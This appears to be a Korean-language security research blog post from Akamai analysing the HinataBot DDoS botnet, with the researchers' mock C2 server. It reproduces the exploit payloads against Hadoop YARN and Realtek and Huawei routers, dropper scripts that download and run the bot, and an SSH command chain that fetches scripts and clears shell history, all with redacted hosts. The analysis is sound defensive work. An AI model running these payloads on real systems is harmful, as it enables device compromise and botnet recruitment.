클라우드 컴퓨팅이 필요하신가요? 지금 시작해보세요

HinataBot 파헤치기: Go 언어 기반의 위협 심층 분석

Akamai Wave Blue

에 의해 작성

Chad Seaman, Larry Cashdollar, 그리고 Allen West

March 16, 2023

Chad Seaman headshot

에 의해 작성

Chad Seaman

채드 시먼(Chad Seaman)은 Akamai 보안 인텔리전스 대응팀의 수석 보안 연구원이자 팀장입니다. 자랑스럽게 자신을 '인터넷 쓰레기 처리장 다이버'라고 부르며, 인터넷에서 발견한 먼지와 진흙탕을 샅샅이 뒤지는 것이 취미입니다. 채드는 프로그래머로 경력을 쌓기 시작했으며 유출 조사를 통해 보안, 악용, 포렌식 분야를 접한 후 보안에 빠르게 심취하게 되었습니다. 요즘은 멀웨어 조사, 리버스 엔지니어링, 취약점 리서치, DDoS, 사이버 범죄 조사에 많은 시간을 할애하고 있습니다. 채드는 여가 시간에 비행기를 날리고, 먼 거리에서 종이에 구멍을 뚫고, 자연에서 시간을 보내며, 오프로드 자전거로 숲과 산책로를 달리는 것을 특히 좋아합니다.

Larry Cashdollar

에 의해 작성

Larry Cashdollar

래리 W. 캐시달러(Larry W. Cashdollar)는 보안 분야에서 18년 이상 취약점 연구원으로 활동해 왔으며 현재 Akamai Technologies의 보안 사고 대응 팀의 일원입니다. 래리는 서던 메인 대학교에서 컴퓨터 공학을 전공했습니다. 래리는 150개 이상의 CVE를 문서화했으며 BSides Boston, OWASP Rhode Island, Defcon에서 자신의 연구 내용에 대한 프레젠테이션을 진행했습니다. 그는 여가 시간에 야외를 즐기고 미니 자전거 엔진을 재조립합니다.

Allen West

에 의해 작성

Allen West

앨런 웨스트는 Akamai 보안 인텔리전스 대응팀의 보안 연구원으로 위협 조사와 툴 구축을 즐깁니다. 현재 카네기 멜론 대학교에서 정보 보안 및 보증 석사 학위를 취득하고 있습니다. 그는 노스이스턴 대학교에서 사이버 보안 학부 학위를 받았으며 해병대 복무 경력이 있습니다. 앨런은 자유시간 동안 여행, 하이킹, 수영을 좋아하며, 야외에서 모험을 즐기는 모든 것을 좋아합니다.

By continuing to explore and analyze evolving threats such as HinataBot, we can better understand the tactics, techniques, and procedures of attackers to develop more robust defenses against them.

편집 및 추가 기여: 트리샤 하워드(Tricia Howard)

핵심 요약

  • Akamai 보안 인텔리전스 대응팀(SIRT) 연구원은 DDoS에 초점을 맞춘 새로운 Go 언어 기반의 봇넷을 발견했습니다. 이 멀웨어의 제작자는 인기 애니메이션 시리즈인 나루토의 등장 캐릭터 중 하나의 이름에 따라 멀웨어의 이름을 'Hinata'라고 정했습니다. Akamai는 이 멀웨어를 HinataBot이라고 부릅니다. 

  • HinataBot은 2023년 1분기에 배포되었으며, 제작자와 운영자가 활발하게 업데이트하고 있습니다. 

  • 샘플은 이전 취약점과 취약한 인증정보를 악용하는 HTTP 및 SSH 허니팟에서 발견되었습니다. 

  • Realtek SDK 디바이스(CVE-2014-8361), Huawei HG532 라우터(CVE-2017-17215), 노출된 Hadoop YARN 서버(CVE N/A)의 miniigd SOAP 서비스 악용 등을 통해 감염 시도가 자행되었음이 확인되었습니다. 

  • 멀웨어를 리버스 엔지니어링하고 C2(Command and Control) 서버를 모방함으로써 멀웨어의 작동 원리와 그 결과 발생하는 공격 트래픽에 대한 고유한 특징을 심층적으로 파악할 수 있었습니다.

HinataBot 소개

HinataBot은 Akamai SIRT의 보안 연구원이 최근 HTTP 및 SSH 허니팟에서 발견한 Go 언어 기반 멀웨어입니다. 이 샘플은 크기가 크고 새로운 해시에 대한 구체적인 식별이 부족한 면이 특히 눈에 띄었습니다. 멀웨어 바이너리는 파일 이름 구조가 'Hinata-<OS>-<Architecture>' 형식으로 되어 있으며, 멀웨어 제작자는 인기 애니메이션 시리즈인 나루토 등장 캐릭터의 이름을 멀웨어에 붙였습니다.

HinataBot은 GoBruteForcer 및 (SIRT에 의해) 최근 발견된 kmsdbot과 같은 봇넷을 포함해 계속 늘어나는 새로운 Go 기반 위협 목록 중 가장 최신 봇넷이라고 할 수 있습니다. 공격자가 고성능, 손쉬운 멀티 스레딩, 다중 아키텍처, 운영 체제 크로스 컴파일 지원 등의 장점을 활용할 목적으로 Go 언어가 활용되었지만, 컴파일할 때 복잡성이 가중되어 결과 바이너리를 리버스 엔지니어링하기가 더욱 어렵습니다.

HinataBot은 다이얼아웃 및 수신 연결 수신 대기 등 다양한 통신 방법을 사용하며 HTTP, UDP, TCP, ICMP와 같은 프로토콜을 사용해 트래픽을 전송하는 DDoS(Distributed Denial-of-Service) 플러딩 공격에서 관찰되었습니다. 하지만, 최신 버전의 HinataBot은 공격 기법을 HTTP 및 UDP 공격으로 좁혔습니다.

HinataBot의 감염 캠페인

관찰된 배포 방법은 감염 스크립트와 전체 페이로드를 혼합한 형태였습니다. 즉, Hadoop YARN RCE(그림 1)와 Realtek SDK 디바이스 내 miniigd SOAP 서비스의 취약점(CVE-2014-8361, 그림 2 참조) 악용을 혼합한 것입니다.

  /ws/v1/cluster/apps	

{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}

그림 1: Hadoop YARN RCE를 통한 페이로드 배포

  /picsdesc.xml	

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

그림 2: CVE-2014-8361을 통한 페이로드 배포

이러한 공격은 2023년 1월 11일에서 1월 16일 사이에 발생했습니다. 공격자들은 시간이 지남에 따라 업데이트되는 여러 버전의 감염자 스크립트를 사용했습니다. 이러한 스크립트 중 두 가지 기본 스크립트의 이름은 'wget.sh'(그림 3)와 'tftp.sh'(그림 4)이며, 적절한 페이로드를 가져오는 데 사용되는 각각의 프로토콜을 반영합니다.

  cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;

그림 3: wget을 사용해 페이로드를 다운로드하는 감염자 스크립트 wget.sh

  cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;

그림 4: ftp를 사용해 페이로드를 다운로드하는 감염자 스크립트 tftp.sh

SSH 허니팟에서 공격자는 무차별 대입 기법을 사용해 일반적인 사용자 이름과 비밀번호 조합을 시도했습니다. 성공적으로 로그인한 후 공격자는 셸을 열고 그림 5의 작업을 계속 실행했습니다.

  cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx;  sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;

그림 5: Cowrie honeypots에서 페이로드의 다운로드를 시도하는 셸 스크립트

HinataBot 멀웨어는 다양한 아키텍처와 운영 체제에서 실행되도록 설계된 Go 바이너리로 배포되었습니다. 최근 여러 플랫폼을 위해 특화된 전문 페이로드를 개발하는 멀웨어 제작자의 이러한 트렌드는 점점 더 보편적으로 퍼지고 있습니다(그림 6). 이는 크로스 컴파일의 용이성과 사물 인터넷(IoT), 덜 일반적인 CPU 아키텍처를 실행하는 소규모 사무실 및 홈 오피스 디바이스가 원인일 가능성이 높으며, 이러한 환경에는 공격 표적이 아주 많다고 말할 수 있습니다.

  http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64

그림 6: 다양한 OS 및 아키텍처 조합을 사용한 페이로드

분산 IP를 피벗으로 활용해 이전에 배포에 사용되었던 두 개의 추가 IP를 탐지할 수 있었습니다. 각각의 경우 피벗 IP가 프록시로 사용되었습니다. 추가 분석 결과, 공격자는 자체 Go 언어 기반 멀웨어를 개발하기 전에 일반적인 Mirai 변종을 배포하려고 했으며, 이는 UPX로 패킹되었으며 식별하기 어려운 이름을 사용하는 변종이었습니다(그림 7).

  tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86

그림 7: 다양한 감염자 스크립트 및 일반 Mirai 바이너리

최초의 멀웨어 배포 시도는 2022년 12월에 시작되었으며 매우 다른 감염자 스크립트를 사용했습니다(그림 8). 이러한 초기 스크립트는 제작자가 기법과 툴링의 효과를 평가하기 위해 실행하는 초기 테스트일 수 있습니다.

  # Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
  Linux) Kernel="linux" ;;
  Darwin) Kernel="darwin" ;;
  Windows) Kernel="windows" ;;
  Android) Kernel="android" ;;
  FreeBSD) Kernel="freebsd" ;;
  Dragonfly) Kernel="dragonfly" ;;
  OpenBSD) Kernel="openbsd" ;;
  NetBSD) Kernel="netbsd" ;;
  Solaris) Kernel="solaris" ;;
  *) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
  x86) Architecture="x86" ;;
  ia64) Architecture="ia64" ;;
  i?86) Architecture="x86" ;;
  amd64) Architecture="amd64" ;;
  x86_64) Architecture="amd64" ;;
  sparc64) Architecture="sparc64" ;;
  i386) Architecture="i386" ;;
  arm64) Architecture="arm64" ;;
  arm7) Architecture="arm" ;;
  armc) Architecture="arm" ;;
  386) Architecture="386" ;;
  mips) Architecture="mips" ;;
  mipsle) Architecture="mipsle" ;;
  mips64) Architecture="mips64" ;;
  mips64le) Architecture="mips64le" ;;
  ppc64) Architecture="ppc64" ;;
  ppc64le) Architecture="ppc64le" ;;
  s390x) Architecture="s390x" ;;
  riscv64) Architecture="riscv64" ;;
  *) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; 
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture; 
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *; 
./hinata-$Kernel-$Architecture;

그림 8: 레거시 감염 스크립트

또한 공격자가 이전 버전의 감염자 스크립트를 배포하기 위해 악용하는 또 다른 취약점을 탐지할 수 있었습니다(그림 9). 이 취약점은 CVE-2017-17215로 Huawei HG532 라우터에 영향을 미치고 임의의 원격 코드를 실행하도록 허용합니다.

  /ctrlt/DeviceUpgrade_1	
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

그림 9: CVE-2017-17215를 활용한 Huawei HG532 라우터 감염

HinataBot의 배후에 있는 공격자는 이미 2022년 12월부터 활동해 왔지만, 2023년 1월 중순이 되어서야 자체 멀웨어 개발을 시작했습니다. 그 이후로 멀웨어가 여러 번 반복되고 감염 기법에서 다양한 피벗이 발생하는 것을 관찰했습니다. 배포와 C2(Command and Control) 연결에 사용되는 기본 IP에는 스팸 및 멀웨어 배포에 참여한 기록이 있습니다. 이 시점에서 IP가 애초에 악성인지, 아니면 단순히 감염되어 남용되었는지 여부는 완전히 밝혀지지 않았습니다. 

Mirai의 영향

앞서 언급했듯이, HinataBot의 배후에 있는 공격자는 IoT 디바이스를 표적으로 하기 시작한 유명한 멀웨어 제품군인 Mirai 바이너리를 오픈 소스로 배포했으며, 다양한 공격자와 그룹에서 계속해서 도입했고 이에 따라 진화하고 있습니다. Mirai는 이제 여러 제작자, 공격자, 그룹이 구축한 여러 변종 및 봇넷에 활용되었습니다. 

과거 DNS 기록을 살펴보면, 최근 2023년 2월에 HinataBot과 가장 최근에 연관되었던 IP가 'hihi.mirailover.pw' 도메인에 대해 리졸브하고 있다는 것을 알 수 있습니다(그림 10).

While looking at historical DNS records, we can see that as recently as February 2023 the IP most recently associated with HinataBot was resolving for the domain “hihi.mirailovers.pw” (Figure 10). Fig. 10: Historical DNS resolves

Mirai를 Go 언어로 재작성하려는 수많은 공개적인 시도가 있었으며, HinataBot은 이러한 시도 중 일부와 유사한 구조를 따르는 것으로 보입니다. 예를 들어, HinataBot이 주요 방식으로 통신을 설정하는 방식과 명령어를 구문 분석하고 고유한 공격 방식으로 공격을 시작하는 방식은 다른 Go 언어 기반의 Mirai 변종에서 사용되는 구조와 비슷합니다. 

HinataBot는 아직 개발 단계에 있으며 발전하고 있다는 점에 주목할 필요가 있습니다. 따라서 멀웨어가 어떻게 변할지, 앞으로 어떻게 변할지는 예측하기 어렵습니다. 

첫인상

처음에는 가장 최근에 배포된 IP에 연결하려고 시도했으나 핑이 가능했음에도 불구하고 서버에서 직접 샘플을 다운로드할 수 없었습니다. 이는 공격자가 보안 메커니즘을 구축했거나 배포 후 샘플을 제거함으로써 직접적인 공격 외부에서 샘플을 얻기가 더 어렵다는 의미일 수 있습니다. 동일한 공격자의 이전 캠페인에서는 무작위 이름 패턴을 사용한 것으로 관찰했습니다(그림 9).

다행히도 초기 감염 시점에 샘플을 저장해 둔 자동 분석 툴을 사용해 샘플을 직접 확인할 수 있었습니다. MIPS32 및 x86-64 버전을 멀웨어 저장소에서 다운로드하고 정적 분석을 시작했습니다. 바이너리는 모두 Go로 작성되었지만, 손상되지 않았고 언패킹되었으며, 스트리핑되지 않았기 때문에 비교적 쉽게 사용할 수 있었습니다(그림 11). 이 게시가 발행되기 전 며칠 동안 바이너리 버전이 스트리핑되었으며, 이 때문에 리버스 엔지니어링이 더 어려울 것입니다.

  $ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped

그림 11: Hinata에서 'file' 명령어 실행

처음에는 2개월 된 HinataBot 멀웨어 샘플(그림 12)을 분석하기 시작했지만, 나중에 로그에서 멀웨어를 발견한 당일에 배포된 새로운 샘플(그림 13)을 발견했습니다. 이후 새로운 샘플을 분석하는 방향으로 선회했습니다. 

두 버전 간의 주요 차이점은 새로운 샘플이 간소화되고 모듈식 기능이 더 많다는 것입니다. 또한 최신 샘플에는 원래 버전에는 없는 몇 가지 기본 보안 조치가 포함되어 있습니다. 이러한 차이점에 대해서는 이 게시물의 뒷부분에 있는 섹션에서 자세히 살펴보겠습니다.

  hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d

그림 12: 2023년 1월 이후 HinataBot 샘플

  hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da

그림 13: 2023년 3월 이후 HinataBot 샘플

분석 과정에서 몇 가지 함수가 즉시 눈에 띄었습니다. 세 가지 공격 함수는 바로 sym.main.startAttack, sym.main.http_flood, sym.main.udp_flood 입니다(그림 14). 이러한 함수를 명명한다면 해당 멀웨어가 DDoS 공격을 개시하려는 의도가 있다는 것을 암시합니다.

Three distinct attack functions caught our eye immediately: sym.main.startAttack, sym.main.http_flood, and sym.main.udp_flood (Figure 14). Fig. 14: Attack functions being discovered

멀웨어를 더 상세히 분석한 결과, C2 통신에 대한 레퍼런스가 발견되어 HinataBot이 DDoS 기반 봇넷 구축 캠페인의 일부라는 단서를 추가로 파악했습니다(그림 15). 

Further analysis of the malware uncovered references to the C2 communications, which provided additional hints that HinataBot was part of a DDoS-oriented botnet-building campaign (Figure 15). Fig. 15: First reference to a C2 server

C2 통신 매핑

HinataBot 멀웨어가 C2에 연결을 설정하는 방식을 이해하기 위해 문자열 "Connection to CNC is OK!(CNC에 대한 연결에 문제가 없습니다!)"에서부터 역으로 작업하면서 이에 대한 상호 레퍼런스를 검색하기 시작했습니다(그림 16). 이 프로세스를 통해 멀웨어가 C2와 통신하는 메커니즘을 매핑할 수 있었습니다.

To understand how the HinataBot malware establishes a connection to its C2, we worked backward from the string "Connection to CNC is OK!" and began searching for cross-references to the string (Figure 16). Fig. 16: Looking for cross-references to successful connection string

조사 결과, 감염 캠페인 중에 멀웨어가 배포된 동일한 IP에서 TCP/1420을 수신하는 HinataBot의 C2 서버를 사용할 수 있었습니다(그림 17). 

Our investigation eventually led us to the C2 server for HinataBot listening on TCP/1420 on the same IP the malware was distributed from during the infection campaign (Figure 17). Fig. 17: Discovering the command and control server

어셈블리 코드를 통해 발견된 또 다른 점은 연결에 사용되는 API 레퍼런스('API_CONNECTION_ATTACK')와 시도하려고 했던 감염된 디바이스에 다시 실행할 수 있는 수많은 명령어였습니다(그림 18).

Another discovery from looking through the assembly code was the references to an API used for connections (“API_CONNECTION_ATTACK”), as well as numerous possible commands to issue back to the infected device that we were eager to try out (Figure 18). Fig. 18: First reference to an API

이 시점에서 샘플이 배포 및 C2 서버에 다시 연결되어 봇이 실행 중임을 C2에 알리고 명령어를 기다릴 것이라고 확신했지만, C2 서버는 오프라인 상태였습니다. 

관측 결과 중 한 가지 흥미로운 점이 있다면, HinataBot이 TCP 및 61420에서 자체 수신 포트를 열기도 한다는 것입니다(그림 19). 이 리서치의 주요 목표는 이 봇넷이 생성할 수 있는 공격 트래픽을 더 잘 이해하는 것이었기에 범위를 벗어난 것으로 보이므로 이 기능을 조사하는 데 많은 시간을 소비하지 않았습니다. 

그러나 이 수신기의 타이밍 차이는 C2에 대한 연결 성공 여부에 달려 있습니다. C2에 성공적으로 연결되면 이 수신기는 3분 후에 꺼집니다. C2에 연결할 수 없는 경우 이 포트는 명백한 시간제한 없이 수신 대기합니다. 이 포트가 운영자에게 어떤 기능을 제공하는지(P2P 기능인지, 아니면 업데이트·제어·복구 기능인지 등) 완전히 이해하기 위해 이 포트에 대한 추가 리서치가 필요합니다. 이 글을 쓰는 시점에는 확실한 답을 제시할 수 없습니다.

Additional research will need to be conducted on this port to fully understand what capabilities it enables for the operators; for example, whether it is some kind of peer-to-peer functionality or possibly an update/control/recovery capability. Fig. 19: HinataBot opens a listening port on 0.0.0.0:61420

HinataBot에 말 걸기

다음 조사 단계에서는 의도적으로 여러 대의 머신을 감염시키고 C2 서버를 만들어 HinataBot의 상호 작용, 보안 조치, 트래픽 패턴을 분석했습니다. HinataBot 리버스 엔지니어링 과정에서 이루어진 몇 가지 프로세스와 관찰 결과에 대해 간략하게 살펴보겠습니다.

HINATA_START_NICE

앞서 언급한 바와 같이, 새로운 HinataBot 샘플에는 이전 버전에는 없는 몇 가지 기본 보안 조치가 포함되어 있습니다. 첫 번째 조치는 비밀번호의 필수 사항이었습니다. 샘플을 실행할 때는 포착되지 않은 예외를 가장 먼저 알아차리게 됩니다. 그 결과 나타나는 오류 메시지에서 이 문제를 명확하게 확인할 수 있습니다(그림 20). 

The resulting error message makes this pretty clear (Figure 20). Fig. 20: HinataBot requires a password to run

오류 메시지를 면밀히 검토한 결과, 샘플 실행 시 추가적인 인수를 전달해야 한다는 사실을 발견했습니다. 이 인수에는 말 그대로 포착되지 않은 예외를 통과할 수 있지만, HinataBot는 그냥 깔끔하게 종료됩니다. 여기에서, HinataBot이 이 인수에서 무엇을 찾고 있는지 보기 위해 분해 작업으로 돌아가야 한다는 것을 명백히 알게 되었습니다.

From here, it became obvious we needed to go back to the disassembly to see what HinataBot might be looking for in this argument. Fig. 21: Password checking in HinataBot at run time

멀웨어 샘플을 검색해 17자(0x005fe3d2) 문자열인 "HINATA_START_NICE"(0x005fe3d8)를 확인했으며 이는 sym.runtime.memequal 호출(0x005fe3e0)에 사용됩니다. 호출이 실패하면 해당 멀웨어가 RET 명령으로 이어져 실행을 중단시킬 수 있습니다(그림 21). 샘플을 실행할 때 이 문자열을 인수로 사용하니 보다 흥미로운 코드가 실행되었습니다.

흥미롭게도, Hinata라는 나루토 애니메이션 캐릭터는 여유롭고 친절한 부드러운 캐릭터로 시작했다가 치열한 투사로 변모합니다. 이는 멀웨어가 C2로 통신하고 공격 실행에 참여하기 전에 "HINATA_START_NICE" 인수를 먼저 사용하는 것에서 유추할 수 있습니다.

이 비밀번호 요구사항은 2023년 1월 이전의 HinataBot 멀웨어 샘플에는 없었으므로 접한 대부분의 감염 스크립트에는 이 인수가 포함되어 있지 않았습니다. 그러나 이 요구사항을 발견한 후 면밀한 검토를 통해 새로운 감염 스크립트(그림 22)를 추적할 수 있었으며, 이 스크립트는 감염 시 바이너리로 인수를 전달했습니다. 이러한 점을 사전에 알았다면 유용했을 것입니다.

  #!/bin/bash
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;

그림 22: 비밀번호를 사용하는 새로운 감염 스크립트

Go.123+Strings-456.Are_789-Weird

HinataBot 샘플에 대한 분석 결과, 바이너리 내에 포함된 매우 긴 일반 텍스트 문자열의 많은 수를 밝혀냈습니다. Go는 문자열 리터럴을 "문자열 테이블" 또는 "문자열 내부 풀"이라고 하는 연속된 메모리 블록에 저장함으로써 문자열 리터럴을 저장하는 고유한 접근 방식을 사용합니다. 

따라서 Go 바이너리에서 문자열 명령어나 디스어셈블러를 실행할 때 출력 데이터가 혼동을 일으키는 문자 혼합으로 나타날 수 있으므로 테이블에서 개별 문자열을 구분하기가 어려울 수 있습니다(그림 23).

As a result, when running the strings command or disassemblers on a Go binary, the output may appear as a confusing jumble of characters, making it difficult to distinguish between individual strings in the table (Figure 23). Fig. 23: An example Go string, with instances of “API_CONNECTION” highlighted

이 기술은 일반적으로 null로 끝나는 바이트 문자열을 저장하는 다른 프로그래밍 언어와는 다릅니다. 이러한 후행 null 바이트가 없으면 툴링은 null 바이트를 발견할 때까지 검색된 문자열을 계속 읽습니다. 이에 따라 간단한 문자열 분석이 더 어려워집니다.  

코드 세그먼트에서 문자열 테이블 주소 세그먼트로 상호 레퍼런스를 확인하면 큰 테이블의 개별 문자열이 시작되는 위치를 탐지하는 데 도움이 될 수 있습니다. 일반적으로 문자열을 로딩하기 전이나 후에 레지스터에 로딩되는 길이를 식별하거나 참조되는 문자열 조각을 활용하는 함수 호출의 일부로 해당 길이를 식별할 수도 있습니다(그림 24). 익숙해지려면 시간이 좀 걸리지만, 일단 규칙에 익숙해지고 나면 매우 간단합니다.

Typically, you can also identify their length being loaded into a register before or after the string is loaded or as part of a function call that will utilize the string slice being referenced (Figure 24). Fig. 24: Mapping string table entries with cross-references from code segments

말해줘, 구스

비밀번호 요구사항을 충족하기 위한 수단으로 C2 서버에 대한 연결을 설정하는 것이 관심사였습니다. 비밀번호를 발견한 방법과 유사한 방식으로, C2 서버에 연결하는 데 필요한 핸드셰이크 프로토콜의 필수 구성요소를 식별할 수 있었습니다. 해당 서버는 이 리서치 및 작성 당시에는 다운되어 있었습니다. 

netcat 을 사용해 포트 1420에서 대기한 다음, C2 서버로 제어한 IP를 사용하기 위해 바이너리를 패치했습니다. 일단 연결되면 적절한 트리거를 감염된 디바이스로 전송해 공격 참여를 위한 준비를 합니다(그림 25). 

Using netcat to listen on port 1420, we then patched the binary to use an IP we controlled as the C2 server. Once connected, we then sent the proper triggers to the infected device, staging it for attack participation (Figure 25). Fig. 25: Sample HinataBot handshake session from C2’s perspective

이 핸드셰이크는 초기 연결로 구성되어 있었고, 봇은 'API_CONNECTION_BOT [os]/[architecture] [hostname]' 메시지를 전송했습니다. 그러면 봇은 C2 서버에서 API_CONNECTION_SIGNAL_OK 메시지가 반환될 것으로 예상해서 들어오는 명령어를 기대에 준비하고 있습니다(그림 26). 저희는 핸드셰이크를 평상시와 다르게 구성하고 API_CONNECTION_ATTACK: 신호를 보내 공격을 개시합니다. 

The bot then expects a API_CONNECTION_SIGNAL_OK message back from the C2 server, which would stage the bot to listen for incoming commands (Figure 26). Fig. 26: Sample HinataBot handshake session from bot’s perspective

이 연결의 유지 관리를 자동화하고 코드를 수정할 필요 없이 텍스트 파일에 저장된 명령어를 수정하고 전송할 수 있도록 매우 간단한 C2 서버를 만들었습니다. 따라서 매우 쉽고 빠르게 테스트할 수 있습니다(그림 27). 덕분에 이 리서치 과정에서 상당한 시간이 절약되었습니다.

  #!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
    data = l.recv()
    if data: 
        print(time.time(), data)
        if data == b'API_CONNECTION_SIGNAL_CHECK':
            continue
    else:
        print(time.time(), 'no data recv\'d')
    cmdf = open('cmd.txt','r')
    cmdt = cmdf.read()
    cmdf.close()
    if cmdt == "":
        cmdt = b'API_CONNECTION_SIGNAL_OK'
    print(time.time(), 'SENT:', cmdt)
    l.send(cmdt)

